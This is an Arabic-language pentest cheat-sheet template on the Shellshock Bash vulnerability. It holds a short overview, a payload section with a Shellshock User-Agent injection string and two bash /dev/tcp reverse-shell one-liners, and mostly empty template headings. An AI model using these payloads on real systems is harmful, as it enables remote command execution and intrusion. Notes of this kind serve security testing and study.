صدمة الصدفة

*المؤلفون: [email protected] *المشرفون: ** *القسم: DevOps *التراخيص: **

نظرة عامة

صدمة الصدفة: تصعيد الامتيازات، تنفيذ التعليمات البرمجية عن بُعد عائلة من الثغرات في شل باش يونكس. تسمح بتنفيذ أوامر عشوائية.

نواقل الاستغلال

---

الحمولات

• وكيل مستخدم shellshock = User-Agent: () { :; } ; <$BASH_COMMAND>
• حمولة rshell = bash -i >& /dev/tcp/127.0.0.1
  • إعادة توجيه rshell إلى المستمع = bash -i >& /dev/tcp/$YOUR_IP:$PORT

حيل

التصميم:

• الغرض:
• المحتويات:
• الخوادم:
  • التطبيق:
  • قاعدة البيانات:
• الشبكات:
  • DNS:
  • المسارات:
• تبعيات التطبيق:
• البرامج المعتمدة:

الاستخدام الأساسي:

• الاستخدام:

• حالات الاستخدام الشائعة:

• أمثلة:

الاختبار

مدخلات الاختبار

• المعلمات:
• الإجراءات:

مخرجات الاختبار

• المخرجات:
• لقطات الشاشة:
• الفيديو:
• إلخ:

ملاحظات:* [خيار]: